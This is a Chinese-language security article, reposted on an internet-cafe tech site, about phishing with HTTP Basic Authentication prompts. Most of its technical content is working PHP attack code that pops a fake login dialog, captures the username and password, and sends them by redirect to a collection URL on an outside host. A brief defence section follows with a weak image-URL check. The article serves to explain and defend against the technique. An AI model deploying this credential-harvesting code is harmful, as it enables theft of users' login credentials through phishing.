天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

解析基础认证钓鱼攻击与防范

2012-12-651CTOJoe Lynch

  首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?

  在php手册中有以下代码来演示基础认证登录。

  if (!isset($_SERVER['PHP_AUTH_USER'])) {

  header('WWW-Authenticate: Basic realm="My Realm"');

  header('HTTP/1.0 401 Unauthorized');

  echo 'Text to send if user hits Cancel button';

  exit;

  } else {

  echo "

Hello {$_SERVER['PHP_AUTH_USER']}.

";

  echo "

You entered {$_SERVER['PHP_AUTH_PW']} as your password.

";

  }

  首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。

  基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate ..... ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。

  贴出攻击代码吧。

  

  $info=@$_GET['info'];

  if(!isset($_SERVER['PHP_AUTH_USER'])){

  header("WWW-Authenticate:BASIC Realm=$info");

  header("HTTP/1.0 401 Unauthorized");

  exit;

  }else{

  /*获取用户名,密码进行验证*/

  $user=$_SERVER['PHP_AUTH_USER'];

  $pwd=$_SERVER['PHP_AUTH_PW'];

  extract($_GET,EXTR_SKIP);

  if($user&&$pwd){

  header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");

  }else{

  header("WWW-Authenticate:BASIC Realm=user");

  header("HTTP/1.0 401 Unauthorized");

  exit;

  }

  }

  >

  防范措施:

  由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。

  我们可以用以下代码来验证图片是否有效!

  

  $url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';

  if( @fopen( $url, 'r' ) )

  {

  echo 'File Exits';

  }

  else

  {

  echo 'File Do Not Exits';

  }

  >

本文来源:51CTO 作者:Joe Lynch

相关文章
没有相关文章
声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:_WX_1_本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行